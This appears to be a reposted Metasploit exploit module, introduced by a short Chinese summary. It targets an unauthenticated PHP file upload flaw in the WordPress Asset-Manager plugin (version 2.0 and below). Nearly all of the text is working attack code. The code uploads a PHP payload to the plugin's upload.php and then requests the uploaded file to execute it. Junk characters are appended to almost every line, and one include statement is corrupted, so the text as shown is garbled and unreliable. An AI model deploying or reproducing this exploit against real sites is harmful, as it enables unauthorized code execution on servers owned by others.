这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。. C" m6 c* U' D+ n* ^
i: r) @8 a/ ]& j
##; i6 C$ l1 C9 v6 V( a
# This file is part of the Metasploit Framework and may be subject to% M9 g7 P; c, J( z/ Y6 Z
# redistribution and commercial restrictions. Please see the Metasploit+ V7 J% V4 t& q" d' A, k
# Framework web site for more information on licensing and terms of use.
0 H: U* |: c+ X4 ~& w6 {/ a# http://metasploit.com/framework/ V3 I# n# S9 [" {
##9 L% B( i. R/ S# y8 t
* o% ]! c) L* j: mrequire 'msf/core'
$ V9 i7 E& l$ c. C- a6 S& @+ Grequire 'msf/core/exploit/php_exe'7 U$ X. ~; d6 n
5 v, l( S5 y' a" ~7 Jclass Metasploit3 < Msf::Exploit::Remote$ u( v5 N3 T+ b1 G2 M/ u% v, `' e
Rank = ExcellentRanking$ u+ O$ Z: }; G. Y
, q# W; y( A$ ^
include Msf::Exploit::Remote::HttpClient
! Q, o5 y* ~) @2 G H include Msf::Exploit: hpEXE. @" A1 \, U6 F: {* w7 |
e/ `$ A7 U i/ \& i def initialize(info = {})
- e- ]/ ~2 z. @8 p* `5 j0 q super(update_info(info,
9 I4 P0 n) {: C1 N2 d8 ?2 K% |% R 'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',
0 t3 _4 I+ @* [5 v+ a& n% V( ~1 [# K 'Description' => %q{" E. s: z) e) A0 u) t
This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress' B* F7 U3 y' w! Z5 z
plugin. By abusing the upload.php file, a malicious user can upload a file to a
A" f2 v2 ?1 {% _ b1 J temp directory without authentication, which results in arbitrary code execution.0 s' p3 _) ~- `1 Y7 U0 `0 I% R, S% x
},- I/ f. P' c0 y- M) A' ^( a: R$ s
'Author' =>
( i) p# W8 ^: Z [
& X m1 Q) D: Z/ ~9 p 'Sammy FORGIT', # initial discovery
$ o0 O" Q5 M5 v) T# c5 _" H 'James Fitts <fitts.james[at]gmail.com>' # metasploit module
* y! e$ n/ H/ k- L ],! L6 @' I- A& n
'License' => MSF_LICENSE,0 E# C2 ]& W2 x6 x" j* |, c
'References' =>0 T! m8 l2 `) V. ~2 B
[# t* K, e# `3 j q- G# k
[ 'OSVDB', '82653' ],
M9 e; q) K0 K6 c: @ [ 'BID', '53809' ],
7 p+ [* D" D7 n$ p [ 'EDB', '18993' ],9 E( h [0 O. `, R
[ 'URL', 'http:// www.myhack58.com /' ]' {* H; F6 y _3 h6 }
],6 w/ j) a) v( x- u& A x! Y' j
'Payload' =>
' U- f1 {( g8 h) \( W+ q {
8 E5 d1 A: p7 w1 O# k2 M- r 'BadChars' => "\x00",3 f d& s \ M1 Y2 z M3 H
},
# V1 P3 T* o' k+ | 'Platform' => 'php',
1 k5 y: |% b$ C$ I" ] 'Arch' => ARCH_PHP,3 J. f- F3 p6 r- N
'Targets' =>
6 E5 Z# {; t, U4 c* G8 t; C( `8 z [+ g. d9 }& | X/ U( P* U' ^/ ]
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
$ m7 T1 [% ]3 L3 m+ [6 Y# X" u0 A [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
4 {$ D* I% u* y" n( l9 i ],
6 t) ~! N, ~1 `: k! B 'DefaultTarget' => 0,) o2 Q) {! Q2 W
'DisclosureDate' => 'May 26 2012'))
. i4 A& `! b4 |, U" L5 L. f , T# X' F6 |; k) y
register_options(, }' \4 @. c1 g9 r* p+ W; Q
[2 y. e( r5 q& G( r: [7 {* r j
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])4 f2 h/ f% w2 p$ s8 d& T) p9 L$ A
], self.class)
; C; G5 i) ^. a, H1 {7 P% Q- Q, n$ M% b end
: s% f7 Q. d, x# v* p3 S! X9 B
Y/ B( @8 L+ s) `9 A0 y, g) p b, H( w def exploit7 U C/ G( y( K8 v( T J
uri = target_uri.path! j% ^ C p8 x
uri << '/' if uri[-1,1] != '/'
5 h K5 C6 q A& L& N6 e peer = "#{rhost}:#{rport}"
( e( z, ^% e0 Q7 I payload_name = "#{rand_text_alpha(5)}.php"
8 }9 N! {* {& m# s B php_payload = get_write_exec_payload(:unlink_self=>true)* l* V' C' p; B% X/ {" s. W, T3 ~" M
6 ?2 Z2 Q" `4 @- X# a, c4 O
data = Rex::MIME::Message.new
. y! \! y. J% W% S: T data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")$ g: N0 i) x. F6 X0 c
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
: w- q! c: S! ]$ D; b' a9 ^3 E / r3 r+ f$ w- X
print_status("#{peer} - Uploading payload #{payload_name}"), a- j' Z; w7 l) v. b
res = send_request_cgi({- `. F3 k I$ O5 X) G
'method' => 'POST',
u# V6 }( G8 T$ M' G4 B) b 'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",
! s1 f8 w) F }9 G& [ 'ctype' => "multipart/form-data; boundary=#{data.bound}",
$ N" I1 E( g& D3 Y# e 'data' => post_data
8 {- T& ~' Y7 R% y& m5 N8 X* G })& w7 {8 Z4 t' g5 `2 x
, j7 K. P n/ M) ? if not res or res.code != 200 or res.body !~ /#{payload_name}/; d n" [% n) g8 e
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
) L$ A& I2 K8 Y; nend
3 T' R3 D4 e* v ) Z/ v' Q9 ?- X' n0 i+ d5 d
print_status("#{peer} - Executing payload #{payload_name}")
# G; U$ b1 O/ l( E res = send_request_raw({
" a6 P# x6 }8 s, x 'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
5 L3 H: ^+ ]' B6 P* s3 ^. c' t9 C( L 'method' => 'GET'
. U3 S2 |# j1 N* Q7 X7 K })3 a* O0 r2 R0 ~% w1 E
# N! s8 ~, h1 }) ^3 ~- m; f$ `8 M if res and res.code != 200# N* Z, ]" q" F9 b- M
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
. A, u7 u$ O0 x( ~& Y1 x1 W end7 Y3 o# N* B6 f0 I/ ?* U
end1 t$ g E1 k# S6 }! P, z
end: |$ x4 { @$ W8 X
|